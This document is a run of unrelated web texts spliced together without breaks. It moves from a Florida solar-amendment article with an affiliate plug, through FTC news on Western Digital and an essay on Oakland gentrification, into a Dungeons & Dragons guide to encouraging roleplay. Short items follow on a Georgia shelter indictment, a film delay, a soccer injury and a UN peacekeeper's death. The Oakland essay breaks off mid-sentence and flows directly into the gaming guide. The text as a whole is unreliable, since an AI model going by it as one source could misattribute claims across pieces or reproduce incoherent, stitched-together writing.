Sal Nuzzo, a vice president at the James Madison Institute in Tallahassee, detailed the strategy used by the state’s largest utilities to create and finance Amendment 1 at the State Energy/Environment Leadership Summit in Nashville on Oct. 2. Nuzzo called the amendment, which has received more than $21 million in utility industry financing, “an incredibly savvy maneuver” that “would completely negate anything they (pro-solar interests) would try to do either legislatively or constitutionally down the road,” according to an audio recording of the event supplied to the Herald/Times. “As you guys look at policy in your state, or constitutional ballot initiatives in your state, remember this: Solar polls very well,” he said. “To the degree that we can use a little bit of political jiu-jitsu and take what they’re kind of pinning us on and use it to our benefit either in policy, in legislation or in constitutional referendums — if that’s the direction you want to take — use the language of promoting solar, and kind of, kind of put in these protections for consumers that choose not to install rooftop.”
The utilities will use the popularity of solar power and manipulative wording to put in laws that can limit – via state constitutions – future growth. This is how powerful, well-financed, and well-connected national groups work to protect their financial interests, irrelevant of who it harms. And they’re not going to stop.
If you’re considering solar, check out understandsolar.com. I get paid a commission and you get to know the numbers from locals. If you want feedback on the quote you get from them – either email me at john @ 9 to 5 mac dot com or post it as a comment in this post. I’ll respond.HARD DRIVE MAKER Western Digital will have to sell part of its business to Toshiba in order to buy Hitachi Global Storage Technologies, the US Federal Trade Commission (FTC) has announced.
The FTC has ordered Western Digital to sell some desktop hard disk drive (HDD) assets to Toshiba in order to maintain competition in the global HDD market. Western Digital and Toshiba signed a tentative deal, we reported last week, and the FTC is ready to approve it.
Under the proposed FTC order, Toshiba will receive all of the productive assets needed to replicate Hitachi Global Storage Technologies' position in the desktop hard disk drive market. The order also requires Western Digital to provide Toshiba with access to its employees involved in research and development and the production of desktop hard disk drives, and requires Western Digital to license all intellectual property needed to make and supply desktop hard disk drives to Toshiba.
"The proposed transaction was reviewed by antitrust enforcement agencies around the world, as well as by the Commission. Commission staff cooperated with antitrust agencies in Australia, Canada, China, the European Union, Japan, Korea, Mexico, New Zealand, Singapore, and Turkey, often working closely with the staff of these agencies on the analysis of the proposed transaction and potential remedies to reach outcomes that benefit consumers in the United States," the FTC said.
The commission vote approving the proposed consent order was 4-0. The FTC added that it will publish the proposed order in the Federal Register "shortly", and said that it will be subject to public comment for 30 days until 4 April, 2012, after which the commission will decide whether to make it final.
The FTC has addressed concerns that the deal as originally proposed would have left only two companies, Western Digital and Seagate Technology, in control of the entire worldwide market for desktop hard disk drives.
FTC Bureau of Competition director Richard Feinstein noted that the move is intended to ensure that "vigorous competition continues" in the global HDD market.
The FTC had complained that Western Digital's proposed acquisition of Hitachi Global Storage Technologies would "likely be anticompetitive" and would violate Section 5 of the FTC Act and Section 7 of the Clayton Act by reducing competition globally. The FTC reckoned that the deal would reduce the number of competitors in that market from three to two and would likely allow Western Digital to "exercise market power, resulting in higher prices for consumers".
The FTC intervention comes almost a year after the announcement on 7 March, 2011 that Western Digital intended to acquire Hitachi Global Storage Technologies - which now has the snappy new name of Viviti Technologies - from Hitachi for approximately $4.5bn. µThere are many ways to think about a city. One is that the city is a place. Cities are built environments with clear geographical boundaries. Each city is embedded in a region and connected to other cities-as-places. And people, goods, and capital flow between cities, accumulating in some and draining from others. This conception of the city is cadastral. It’s mapped out and made legible as a market through the measurement of physical boundaries and values like home prices, tax rates, and school rankings. As these values rise and fall, so to do the fortunes of the city.
A different way to conceive of a city is that it is a people. Instead of seeing buildings and streets and spaces all linked together in a specific legal and economic schema, this perspective instead finds the city in the people who reside there. The city is a sum of their social relationships, their cultures, institutions. This city is set, for certain, in a particular place, but it’s made a city by the ties of kinship, friendship, and communal obligations that enliven the geography. The community makes the city, and so if the community prospers, so does the city. If the people suffer, so does the city.
In Oakland, California these two conceptions of the city are opposed to one another. And for well over a decade the city-as-a-place has been erasing the city-as-a-people.
It began sometime in the 1990s. After decades of disinvestment, de-industrialization, and the flight of affluent households to exurbia—a process that made Oakland what geographer Richard Walker called a “dark star in an expanding universe,”—the tide of capital suddenly, and at first imperceptibly reversed. Real estate investors began pouring money back into Oakland, often benefiting from city and redevelopment agency subsidies, tax breaks, land swaps, and municipal bonds. Young and affluent white collar workers started moving into apartments and houses around the eastern edge of Lake Merritt, into the downtown, and Jack London Square, and North Oakland. By 1999, when Jerry Brown took over as mayor, the rise of Oakland-as-a-place had already started. But Brown’s 10K Plan accelerated the process.
Inherently a city-as-a-place initiative, the 10K Plan envisioned Oakland, or to be more precise a small slice of downtown Oakland, as a blank slate upon which to inscribe enough new units of housing, mostly condos and apartments, as well as retail stores, theaters, restaurants and all the other trappings of the ideal contemporary urban vitalism, to attract 10,000 new residents. The point was that Oakland’s government would partner with real estate capitalists to build up the city-as-a-place. In turn, this place would conjure a new assemblage of people, drawing in especially the coveted young, monied, hip, consumers seeking an urban alternative to San Francisco.
In an excerpt from Stephen Talbot’s 2001 documentary The Celebrity and the City, Jerry Brown explained the origins of his plan to re-populate downtown Oakland by remaking its places and spaces: “People would say, ‘well why can’t we shop in downtown Oakland? Why do we have I have to go to Walnut Creek? Why do I have to go to San Francisco?’ So that germinated the idea, let’s restore downtown Oakland,” said Brown.
To do so Brown and the real estate entrepreneurs gathered around him understood that they couldn’t just open up retail stores downtown. They had to bring a new and different category of people to Oakland. They weren’t going to build up Oakland for people already living in its borders. That would require tackling big social and economic problems like poverty, unemployment, housing and food insecurity, and institutional racism in the schools and criminal justice system.
Perhaps they had given up on such battles long ago. Brown certainly began abandoning progressive political economy in the late 1970s. He came to accept the straightjacket of neoliberal urbanism that the tax rebellions and withdrawal of federal aid to cities imposed. Since then it has been much easier to provide grants and credits and subsidies for the benefit of private real estate developers than it has been to institute policies that boost the incomes and opportunities for low-income city dwellers.
“We do want capital flowing into Oakland,” Brown said in 2001. He complained, however, that the 10K plan was being stalled by a “negative cheering section” that, “says that anything that happens, that’s going to disrupt something.”
“We’re going to be displaced,” Brown said, repeating the concerns he was hearing from Oaklanders. “They got a name for it: gentrification,” said Brown dismissively.
In the same documentary Brown’s mayoral campaign treasurer and friend, real estate developer John Protopappas is filmed standing outside a live-work loft project in West Oakland teasing a black man on a bicycle who is pulling a shopping cart filled with bottles and cans. “Come on, you gotta move in,” shouts Protopappas. “I don’t think he’ll be moving in,” he then says to the cameraman.
Oakland circa 1999 absolutely lacked “shoppers” downtown. Its built environment was dominated by office buildings filled with the employees of big corporations and law firms during the work week, but come 5pm and weekends the downtown would die as these employees escaped in their cars and via BART back over the hill to the East Bay suburbs. Downtown Oakland was decidedly not hip.
The people actually living downtown, the Oaklanders who weren’t following Brown’s desire of shopping, who weren’t economically capable of buying one of Protopappas’s condos, were predominantly Black, Latino and Asian, with many of the latter two groups made up of first generation immigrants. The low-incomes and high poverty rates afflicting this community meant that without any kind of intervention to empower them economically, they would not be the ones shopping at the new GAP clothing store Brown and his wife (a lawyer for the GAP) were so excited to open on Broadway. Oakland’s existing residents, at least those living in the flatlands, wouldn’t be leasing new apartments opening in Jack London Square, Temescal, and the Uptown.
Instead many of them were displaced through the process of “Jerryfication,” as critics called it. Many more stayed, and have since endured an influx of new residents who have bid up the prices of real estate, making survival in Oakland difficult in new ways. Whereas once life was made difficult by Oakland’s existence outside of key circuits of capital and employment, now it is Oakland’s incorporation into these circuits that is driving up prices and dispossessing long-time residents of their homes and communities.
Between 2000 and 2013 Oakland lost 27 percent of its Black population, dropping to a low of 103,000. In that same time the city’s white population grew by the same percent, rising from 125,000 to 160,000. In the Census Tract that encompasses the Uptown District the Black population grew by 9 percent between 2000 and 2012. But the white population expanded by 74 percent, from 400 to 700 residents.
The success of Brown’s 10K Plan is evident in the numbers of affluent individuals who have moved into downtown Oakland and spilled over in North Oakland and around Lake Merritt. It’s also evident in the restaurant boom which has become a favorite story for culinary magazines to cover over and over again. And since Brown showed that Oakland could ditch its no-there-there and become a somewhere destination, each successive mayor and city council has sought to further advance the vision of Oakland-as-a-place.
Over the last decade, influenced by Oakland’s real estate entrepreneurs, the city government borrowed from the capital market to fund “quality of life” improvements, including a multi-million dollar makeover of Lake Merritt, the estuary and park around which home and rental prices have exploded upward in recent years. New bike lanes along MacArthur Boulevard and 40th Street connect gentrifying neighborhoods to 3rd wave coffee shops, $10 a bowl mac and cheese diners, and BART stations that shuttle a big percentage of newcomers to their downtown San Francisco office jobs.
The process has now hit full stride. Notwithstanding a recession, whole sections of Oakland are soon to be scraped clear of existing buildings and streets and rebuilt into simulacra of San Francisco’s SOMA or the nearby boomlet of Emeryville. The most ambitious is the West Oakland Specific Plan, or WOSP. Pronounced “wasp,” the plan calls for adding thousands of new homes, 85 percent of them market-rate condos and apartments, that will sponge up spillover from San Francisco’s extremely expensive housing market.
There’s also the Oak to 9th project, now being called Brooklyn Basin, a ground-up master development with 3,100 housing units that will be set on two spits of land protruding into the Oakland estuary. Years ago Oakland mayor Jean Quan was a leader in the radical student movement, an organizer of the Third World Liberation Front, and a self-avowed Maoist revolutionary. Now Quan spends her time recruiting other former Maoists—Chinese billionaire capitalists—to invest in Oakland real estate.
Zarsion Beijing Holdings, a Chinese conglomerate will finance later stages of the billion dollar plus Brooklyn Basin, which includes a marina and several shoreline parks. It’s already being marketed as a “vibrant new district” alongside photos of multicultural twenty-somethings and comfortable middle class consumers enjoying wine on the wharf, hosing down their yachts, and shopping for designer handbags. The developer Mike Ghielmetti, a long-time supporter and financial backer of Jerry Brown and current Oakland mayor Jean Quan, has set up a web site trumpeting that, “a diverse mix of residents will further enliven this part of the City, establishing it as a flourishing place for people to enjoy.” Gheilmetti told Forbes magazine that he’d love to see Chinese buyers scoop up Brooklyn Basin’s condos when they hit the market.
But like the WOSP, Brooklyn Basin is being built from the ground up to attract a diverse mix of residents within certain parameters. It’s bounded diversity; restricted to people whose income and cultural capital exceeds that of the city’s current majority. Brooklyn Basin is a plan to develop Oakland as a place, not as a people. Although the 2006 development agreement between Oakland and Ghielmetti required building affordable housing on-site, the total was only 15 percent of the project’s 3,100 units, or about 465 homes. This proportion totally reverses the actual ratio of above median income households to below median income households that currently live in the neighborhoods surrounding Brooklyn Basin. One in every three families living next to the site where Brooklyn Basin’s towers will soon rise is living below the poverty line, and the neighborhood’s median family income is $37,000, about 22 percent below the median household income for the entire city.
Perhaps some Oaklanders from the working class half of the city will find jobs building Brooklyn Basin. Or perhaps they’ll find jobs in the stores and restaurants that open there. But economic progress along these lines is an afterthought, and it’s also not necessarily progress. What will these jobs pay? Will the workers be able to keep up with the rising rents and other cost of living increases that come when a city truly becomes |
his own opinion. This not only helps the party and moves the story forward, but it makes the NPC seem way more human… or elfin, or dwarven. NPCs are all too often unhelpful. Make it your default state that they want to add ideas to the world instead of standing there idly or blocking everything that is brought up. Of course sometimes NPCs have to say “no”. Which is where “no because” comes in.
Another way you can use “yes and” to encourage RP is through your adjudications as a DM. This not only helps RP to develop but adds a lot of fun in general to the game. Whenever possible, you should be saying yes to your players ideas, even when they are a bit crazy. Often players will try to do things that make them cool, like run up a wall and do a back flip onto a rope. Let them do it whenever you can as long as it isn’t blocking another player. Sometimes when a player asks to do something, my first reaction is, “no”. Two questions helped me to say yes more often.
“How could this be possible in my world?” Often when I think something is impossible in my world and I’m about to say no, asking this question will allow me to change one minor detail to make it possible. For example, one of the players in my friend’s game wrote a backstory about getting knocked unconscious and seeing another plane of existence (which he described as Earth 2015). I instantly cringed at this because fantasy should stay fantasy. However the DM handled it well. Instead of saying no, he asked, “how could this be possible in my world”? Since there are other planes of existence, he just asked the player to modify it a little bit to match with the other planes of existence that already exist in D&D lore. This allowed the player to keep his backstory and be happy while making it fit nicely into the world that we were playing in.
2. “What would be the consequences of that?” Sometimes the players want to do something or get something that might make them overpowered. For example, the high level item they were supposed to bring back to the king for a quest they instead decide to keep and use for themselves. Initially your response might be, “no”, but if you just ask what the consequences are, you can create ideas that will counteract that imbalance. In this case, the king found out that the party had kept his item and sent ten of his personal body guards after them to retrieve it along with putting out a warrant for their capture. The party got to use the cool item for a while before they started noticing people avoiding them. Finally they were given away and the body guards caught up to them, took the item, beat them bloody, and threw them in jail. That doesn’t seem like an overpowered trade off at all does it? If anything they got less powerful in this case and were able to RP how they wanted.
Besides making your NPCs use “yes and” and making your adjudications allow for more player freedom in RPing, you can use the concept of “yes and” to keep your players from blocking each other’s RPing and move the story forward. Here is an example:
In the king’s court the party reports the success of their last mission. The king offers them dinner and jovially chats with the party. Of course… the rogue gets the idea to pick the king’s pocket or sneak away some coin during the meal.
Rogue: I want to pickpocket the king!
Cleric: No I want to stop him.
DM: You walk by to steal the coin purse but the cleric walks by and tries to stop you… roll opposing dexterity checks.
Usually at this point they roll a skill check against each other and someone wins. However, if the cleric wins, then nothing happens. All that rolling and all that time was spent blocking what the other player wanted to do with no interaction or affect on the king or anything else in the world. As a DM, you have the power to keep the results similar, but without blocking the players.
Rogue: I want to pickpocket the king!
Cleric: No I want to stop him.
DM: You try to pickpocket the king, roll your slight of hand check and cleric, roll your perception.
Rogue: 18
Cleric: 21
DM: You see your rogue walk by the king’s chair and bump a little too close into the back of it, you’ve seen him do this many times before and suspect he took something. What would you like to do?
In this second interaction something has happened. As the DM I didn’t let the cleric block the rogue right away. Now something of substance has happened and they have to resolve it with more consequences on the line. In addition, the rogue got to RP the rogue, and the cleric gets to RP the cleric as they fight silently behind the king about giving his pouch back.
So we’ve covered “yes and”. Lets look at “no because”. As DMs we sometimes need to say no. This is completely ok as long as you follow one rule: tell the party why you are saying no. If a player wants to do something and you just say no, you have blocked their idea and given them nothing else to work with. However if you tell them they can’t do something and then explain why that action was impossible or why you wont allow it as a DM, then the player can choose a new action or adjust to the situation. You should use “no because” under a few circumstances.
If an action is impossible, tell the player why. Often it comes down to a misunderstanding of your description of the world. When a player tries to jump a 60 foot pit with no magic, cast a spell while unable to speak under water, or move when their foot is held by a tentacle, just let them know why this action is impossible and they will likely decide not to try it and come up with a new idea.
If a player is trying to do something that blocks another player then you have a good opportunity to say “no because”. This can be used when one player is trying to gain an ability that other PCs have sacrificed and specialized for or when one player is blocking another player’s fun.
If the players try to do something that is overpowered you can tell them no as long as you explain why it would be game breaking. Most overpowered things that boost the party can be allowed by asking yourself what “consequences will that have”. However when something will make one player feel way more powerful than the others, this cannot be allowed very often; hopefully your player will understand.
My last note on “no because” is for your NPCs. I said before that NPCs should have a default state of “yes and”, or at least “yes”. Of course in every world there are plenty of NPC who say no to lots of things. As a DM, your job is to know why they are saying no. It should always be a “no because” even if you don’t tell the players why. A guard who doesn’t let the players in can say no because he was paid 300 gp to watch the tower, because his boss will beat him if he lets anyone in, because he is magically under the control of someone else, or because the party was mean to him last time and he wants to screw with them. Each of these reasons gives your guard a very different feel and allows you to hint at the solution for the players. A dispel magic might work on the charmed guard while paying 400 gp or more will work on another. You must understand your NPC’s reasons for saying no to the party or you will not be able to RP them effectively.
Solution 3: Role play Game Mechanics
RPGs are games and many game mechanics are the adversary of RPing. Mechanics take us out of the moment and remind us we are not our characters. However we play RPGs because we like the game aspects and the random chance that gets introduced into our stories. So lets look at how we can convert these game mechanics into RP and narration that makes everyone feel like they are still in the game.
The vast majority of the rules for D&D are combat related, so this is an area you must focus on. Making the dice rolls make sense in the world is extremely helpful for RPing. Sometimes it’s not the story but the dice that make the world seem illogical. It’s your job as the DM either not have them roll for things that are impossible to fail or succeed on, or to explain them. How did the rogue mess up that lock pick? “An arrow hits the wall inches from your head causing you to jump and break the pick in the lock.” Why did that crit happen? “You hear your halfling friend scream out as the snake wraps around him and begins to squeeze, that momentary distraction allows the snake in front of you to sink its fangs directly into your upper thigh.” How did the barbarian miss the point blank shot while the guy was laying on the floor in front of him? “The last shot you landed had so much power it knocked the halfling clean off his feet. Now you swing your great ax overhead ready to deliver the finishing blow with all your might. Just before your ax connects, the nimble halfling kicks against your legs and slides out of the way.”
These type of descriptions not only keep players more engaged and involved on other people’s turns, they help demonstrate that your world does run logically. Perfecting this skill will have the players trusting that your world has internal logic and when something strange happens, they will try to solve it instead of assuming you just threw it in out of the blue.
You also must remember that role playing during combat is almost entirely your responsibility as the DM; players don’t have all the information to RP this. They don’t know if they hit or not until after you tell them. They don’t know if the arrow causes a bruise worth of damage, a puncture worth of damage, or if it goes directly into their eye and out the back of their head. You have to take responsibility to RP these things, not your players.
You can go a step farther and add in killing blows and other combat descriptions for your players. Some DMs will inform their players when the boss fight is over and their hit delivers the finishing blow, allowing them to describe exactly how they finish the creature off. Play to your audience and if they like the blood, give it to them.
If you find yourself running low on different ways to swing a sword, and find yourself saying “umm, you swing at it again”, I suggest you watch Critical Role, a group of professional voice actors that play D&D with an absolutely incredible DM. In one episode he describes a mind flayer sucking the brain from a dwarf and it is absolutely wicked! He give such detail that I just sat in shock for a moment after hearing the hollow pop sound made by the dwarfs brain slurping through the hole in his forehead.
Solution 4: Give the Required Information
Imagine you get loaded into the loading area from the Matrix. It is a solid room with nothing but whiteness. In it stands another person looking at you. Now have a conversation with them. Do you think it will be a good quality conversation or an awkward one? Alternatively imagine a guy and a girl who have never met sitting next to each other on a train. How does that conversation go? Usually awkward and uncomfortable to even watch.
This is how your campaign starts. You drop your players into the matrix. There are white walls and nothing else. Then you start to add the details. At the beginning of the game the characters lack references, goals, personalities, experiences, bonds and everything else that a person needs to have a good conversation. So when they start to RP, it is as awkward and uncomfortable as a first date.
Session 1: “We umm were sent here to stop you so we are here, die!”
Session 5: “Alright buddy, we have tracked down and killed all your lackeys and every one of them betrayed you and told us where you were. You have no allies and no friends. Surrender or my bloodthirsty barbarian friend here will bring to the necrotic temple and make you a meal for the zombies!”
Everything underlined in the second example is information that the players could not possibly have known at the start of their first session. My point here is that RP needs a bit of time to get going. The longer it goes on for, the easier it becomes to RP. That’s not to say you can’t help speed it along however.
Filling in the white walls in the matrix effectively will help the players start to RP more quickly. Make sure they are getting clear goals, bonds between NPCs or factions, and establishing connections within the world. I would also suggest listening to what the players tell you they want to RP about. Bring their race, class, and backstory into the world as soon as possible to give them a point of reference in the world. This is often the only thing they feel they know and they will be willing to RP with it since they created the connection in the first place.
If all these tools aren’t working quite the way you would like or you’d like ways to nudge your players a little farther, here are a few more tools for you to use. However some of these tools come with warnings.
Solution 5: Role Play for Them
If your players aren’t role playing, you can step in and do it for them. In many cases, this is what you should be doing anyways. For example describing what happens in combat is often your job as the DM. You can take this a little bit farther but it comes with warnings.
If you are going to take control of a player’s character for a moment, the goal is not to override what the character would do. You should be sensitive to what your player wants and trying to enhance the character and the player’s connection. This is extremely important because what a character thinks and says is the only part of the game a player can completely control. They have to ask the DM to do anything else. Taking control of a character and doing something that is against the players wishes, will anger them quickly and take a lot of power away from their character. If you make that mistake, apologize and backtrack immediately.
Also, do not tell players what their characters are thinking or feeling. This is the only thing that players truly have control over without your adjudication and overriding that can really piss people off. It is very easy to get this wrong and it pulls players out of the game when you take control of their character’s minds. When I say this I don’t mean you can’t tell a character what they physically feel, like something crawling on their leg, I’m referring to DMs who say “you look around the dark cave and wonder just where all of your friends went and if you will ever see them again. It might even make you a bit sad.” This type of stuff destroys RP because the player probably wasn’t thinking that. This will immediately pull him out of the situation and I think it always sounds tacky on the DM’s part because he is trying to force emotion onto the characters.
Here are three exceptions to this warning:
First, if the characters have already said exactly what their character was thinking then you might restate it to reinforce something.
Second, if the characters are making some kind of knowledge check it is okay to tell them what they know. “You remember seeing something about this creature in the textbooks in your library but only have a vague sense of its abilities.” This sentence is fine for a knowledge check or for when a player asks if their character would know something.
Third, you can tell a character how they think and feel if it is via some magical or game mechanics effect. If the character is mind controlled or feared for example, then you can tell them what they do and think during that time.
So lets get into how you can RP for your players. The first way is to narrate combat rolls. This one has already been listed but normally the DM would do most of it and leave some up to his players to RP in certain situations. If you need to help your players along you can just narrate all of combat yourself though.
You can also narrate skill checks and other abilities. This is often an area that players should RP but can be done by the DM whenever they forget. A druid who bends down to administer a medicine check is a perfect opportunity for a player to roleplay. If they don’t, then you take over with “you kneel next to your unconscious friend and pull several leaves and some pitch out of your pack. You chew on the pitch for a moment, spit it into the leaves, and press them against his bloody wounds. Within seconds, the bleeding slows.” Take this opportunity to differentiate character classes as well. A cleric doesn’t heal with leaves.
This one is a little bit more dangerous but has great effects; Re-narrate interactions between players as interactions between characters. Here is an example of what I mean: In my campaign I have a barbarian, cleric, rogue and wizard. The party was investigating a chest they knew was trapped and trying to figure out how to disable the gas trap. At one point, the player of the barbarian, out of character, said, “How about I just grab it and run away as fast as I can?” To which the player of the cleric said “thats a bad idea. I don’t think we can outrun it.” These comments were all out of character but is a likely exchange between characters. So I said something like, “the barbarian still slightly enraged after the last fight moves forward and suggests just grabbing the chest off the trap and running. To which you (the cleric) immediately interject and give him the condescending *pat pat, on the shoulder.”
The interaction that took place here was a perfect conversation for the two characters to have and both players were thinking like their characters. The only problem was they forgot to say it as though it was their character. So I stepped in and re-narrated the exchange and the party loved it. The rogue jumped in and started teasing the barbarian and saying “let me handle the traps big guy.”
The same thing can be done with character quarks or situations that develop in game. Sometimes the players forget to use it as an opportunity to RP. The rogue in my group entered the game after the party was already level 4. She played in two sessions straight without hitting a single monster with her bow. The dice couldn’t have been more against her. Everyone started teasing the player about not being able to hit anything. Near the end of the session, the rogue, tired of missing everything, challenged an NPC to an archery contest for 50 gold and won. The players all started to joke about her only being able to hit when she made a bet first. So I translated this into the game and would narrate comments like, “when you miss, out of the corner of your eye you see one of your companions rolling their eyes.” I would jokingly add before her turn, “would anyone like to throw out a bet on whether she hits or misses?” It made the characters start interacting with each other, it made the rogue have more fun when she missed, and it allowed her to make some side gold off of bets which fit perfectly into her backstory. The situation was there in this case, it just took me noticing it and controlling it a few times to develop this player interaction into RPing.
Solution 6: Push them into it
This requires a warning as well. These techniques should probably only be used after you have been with the group for a while and established rapport. Or it can be used among friends you aren’t worried about driving away. Also remember that descriptions can count as RP. Don’t force the bard to sing if he is uncomfortable singing. Let him describe what he does for that scenario. Becoming a good RPer takes time and comes in stages. First they will probably start to describe mechanics, then add more details to combat and interactions, then third person, then first person conversations, and finally sounds, body language, and character quarks. Give people the time they need to work up to talking and behaving in first person and give them positive feedback for doing so. As a side note, the best way to reward someone for good RP is to continue the RPing. Stopping and calling attention to their good job will break the moment and probably make them less comfortable. Don’t start throwing them inspiration dice or anything until they are already comfortable.
One way to force a bit more RP out of your characters is to react/respond to players talking to each other as though the characters were talking to each other.
Player: maybe we can go along with him for a while and then steal the item back.
DM: “what did you say? I’ll have no stealing from me! I don’t trust you guys at all.”
The players will immediately respond with “we didn’t really say that!” and I suggest you just allow them the redo and ask, what do you say then? Just don’t use this technique while the characters are talking to a dragon 10 levels higher than them because killing them for it is a bit harsh.
Not responding to out of character interactions is another way to force them into RPing. If the players ask something to a monster based on mechanics or not in character, you and just give them a blank look or say, “the monster doesn’t know how many hit points he has. Any other questions?” You can do the same with skill checks. An area where lack of RP causes a big problem is with intimidate and persuasion checks. As a DM I rarely accept a player saying “I make an Intimidate check”. I will almost always ask, “how do you intimidate him.” I often turn down insite checks as well. When I RP a character (as long as I know I did it well) I will make them go off of their own gut feelings. They got the same information and gut feelings their characters did.
I also turn down “disable trap” or “slight of hand” checks to completely disable a trap. My traps are complex puzzles that I want my players to solve and my rogues to RP through. See my Building Quality Traps article for how I do this.
The last way to force players into RPing is to add time restraints. Sometimes the game gets so bogged down in peoples turns that everyone forgets about their characters and starts doing something else. If you can speed things along it can increase people’s attention to the game and their willingness to RP. Out of game time pressure; “you have 2 minutes for your turn or we skip it” or in game time pressure; “the spikes are falling and you have just a second to react, what do you do?” can make the game more fun and help the players avoid looking at mechanics and just make a decision.
Solution 7: Seek Player Help
One of the most common answers I found online when googling “how do I get my players to role play more?” was to tell/ask them to. While I agree with this, I would like to add that saying, “do more role playing” or “hey, I’d like us all to role play more” only works in certain scenarios. If they players are uncomfortable or don’t have the skillset, then asking won’t change either of those things. If you want to ask your players directly to RP more, make sure you are both specific about where they can RP more and give examples of how they can RP in those situations.
An example might look like: “I noticed your cleric heals a lot. This might be a perfect time for you to add in some RP to describe how your character does that.” or “at the end of combat feel free to get more descriptive about how you kill the bad guy so the other people can enjoy it as well.” You may have to suggest and use other tools to help demonstrate and guide your players into becoming better role players.
Besides telling and asking your players to RP, you can come up with a list of questions to help them RP. Asking players to differentiate their characters is a good place to start and gets people into the RP mood. Ask how is ________ (ability) different from another character’s ability in game? A sorcerer, druid, and cleric all cast spells in different ways. The same is true for fighting styles and many other mechanical actions within the game. You can also ask players how their characters feel about something. This can be done out of game by just asking the player what their character would think or feel or in game by having an NPC in game ask the characters directly.
Another question is to pose a hypothetical or bring up a recent situation again to allow the player to attempt to RP better. I like to ask, “what does/did your character do/think during combat.” I ask this to try to get players to be thinking more in character while it is not their turn. They may have quarks where they are always looking for something specific, they may call out inspiration to their allies and insults at their enemies, or they may be cocky and place bets on what attack will hit and miss. I do this one specifically because it increases player participation when battle might otherwise have them sitting there for several minutes without doing anything.
The last way to get player help is to bring an a new player who you know will help you. I used this tactic recently. Someone who had watched Critical Role with me and with whom I had talked about RPing with came to join a group and brought a lot more RP and excitement to the table. The two of us kicked the RP and enthusiasm up a notch and the rest of the players followed suit.
Conclusion
I think that it is absolutely possible to get almost anyone to make their honest attempt at RP. Some may be better than others, some need time to learn, and some will become masters at everything except singing for the bard. It is your job as the DM to make sure you are providing the experience and example necessary for players to RP. Remember that you are in charge of the vast majority of RPing as the creator of the world. If things aren’t going quite the way you want them to, look at yourself first and make sure you are showing examples, guiding players to start RPing on their own, and creating a logical world that the players feel they can make some predictions in. If that fails, feel free to ask them or others for help.
Good luck,
DM SageBing Maps
The former director of a supposed "no-kill" animal shelter in Georgia was free on bond Thursday after a grand jury indicted her for allegedly charging owners not to euthanize their pets and then killing them anyway.
The grand jury in Rabun County in northeast Georgia returned the 60-count indictment Wednesday night against Lowanda "Peanut" Kilby, former director of the Boggs Mountain Humane Shelter, which was closed after an investigation last year by WAGA-TV of Atlanta.
Euthanizing animals isn't a crime in Georgia, and none of the 60 felony counts charge Kilby with cruelty or mistreating animal in the shelter's Lucky Dog-Lucky Kitty program.
Instead, the indictment accuses her of theft, deception and violating Georgia's Racketeer Influenced and Corrupt Organizations (RICO) Act for allegedly mishandling donations.
The indictment alleges that the shelter euthanized more than two dozen animals after having charged their owners $100 or more with the promise to provide all shots and medical care and place their animals with adoptive families.
Kilby surrendered Wednesday night and was released on $100,000 bond. Her attorney couldn't be reached for comment Thursday.
"It's a black eye on the community. We want to make sure we show that the case has been investigated and that someone will be held accountable," Rabun County District Attorney Brian Rickman told WAGA.
Kilby and Penny Burkitt, the shelter's executive director, resigned in August 2012 after WAGA reported its findings last year. The shelter closed a few months later.
The Lucky Dog-Lucky Kitty program was taken over by the nonprofit Rabun Paws 4 Life Animal Shelter under a $60,000 contract with the county. Paws 4 Life says it's also a "no-kill" shelter, and its monthly report for August shows that it had a 98 percent "live release rate."
The indictment even lists the names each of the 28 animals whose owners gave them up for adoption with the promise that they wouldn't be put down:
Buddy, Georgie, Brady, Tug, Tank, Red, Spot, Jake, Ginger, Denver, Toshie, Kelly, Dixie, Roger, Nora, Spike, Boss, Lola, Oreo, Sally, Pookie, Brownie, Thor, Jenny, Molly, Tuxedo, Jersey, Bart.
It couldn't immediately be determined what kind of animals each of the pets was, but Chris Simmons, director of Paws 4 Life, referred to them as dogs in a statement posted on the shelter's Facebook page.
"While it is not my place to act as judge and jury, I will say that no matter what happens, nothing will replace those dogs that were put to sleep," Simmons said. "My heart aches for all of those people who donated money to help those dogs find a forever home.
"Those dogs saw the worst side of human behavior," he said. "They had no voice, and were silenced forever."
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This story was originally published onI’m not exactly sure where Paramount Pictures stands right now with Paranormal Activity 5, but I know that they were originally having trouble finding a cool new take. It’s also the reason that Paranormal Activity: The Marked Ones nearly became the fifth film, and was released this past January. Unfortunately, it didn’t perform as well as expected, and now it looks as if the studio is taking a (smart) breather.
Via THR, Paramount Pictures International svp, EMEA Edward Ryan told CineEurope attendees that the fifth official film in the franchise will have to wait until 2016. That’s a long wait considering it was originally slated for release this October.
Now that they have time to find an interesting take, what would you guys like to see from PA5?Kaka to miss six weeks with hamstring injury
The Brazilian superstar was forced to exit Orlando City's 2017 MLS season opener in the 11th minute on Sunday.
announced Monday that Kaka will miss six weeks of action with a grade 1-2 left hamstring strain.
The injury occured in the eighth minute of Orlando's 2017 season opener against on Sunday. The 34-year-old former Ballon d'Or winner tried to continue but was ultimately replaced by Giles Barnes in the 11th minute of the match, which Orlando went on to win 1-0.
WATCH: Larin christens new stadium
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Sunday's match was the first held at the new 25,500-capacity Orlando City Stadium.
“I am very, very disappointed for [Kaká]. He’s worked extremely hard in the offseason and hard in the preseason,” Orlando head coach Jason Kreis said. “This could’ve been a huge night for him. I think everyone could see the energy he was already putting into the game in those 11 minutes. I thought this was going to be a special night for him. Deeply disappointed for him but the team moved on, and that’s a positive thing.”
Kaka, Orlando's captain, has scored 18 goals and added 17 assists in 53 appearances for the Lions.Share Tweet Email address: Leave this field empty if you're human:
I’m speechless. I think I might cry. This is our America right now.
I remember the day I moved to this country like it was yesterday.
It was February of 2002. I was 12. I held my little brother’s hand as I stepped off the plane and in to the rest of my life. I cried happy tears that day.
I remember the first time I said the Pledge of Allegiance in school. I was so proud. I meant every word of that oath. I cried happy tears that day.
I remember the first time I saw the Lincoln Memorial, the Statue of Liberty, and the Golden Gate Bridge. Symbols of America’s exceptionalism. Symbols of the best country on Earth. I cried at each, awestruck and grateful that I had the privilege, the honor of being an American.
As I write this I’m crying for a very different reason. I cry as I watch those who do not understand that privilege tear down the Nation so many have given their lives to build.
This is our America right now.On January 28th a barrage of Israeli artillery fire struck near the South Lebanese village of Ghajar, killing United Nations peacekeeper Francisco Javier Soria. Soria, 36, was a Spanish citizen deployed with the United Nations Interim Force in Lebanon, a peacekeeping mission tasked with maintaining the ceasefire between Israel and Lebanon in the occupied Golan Heights.
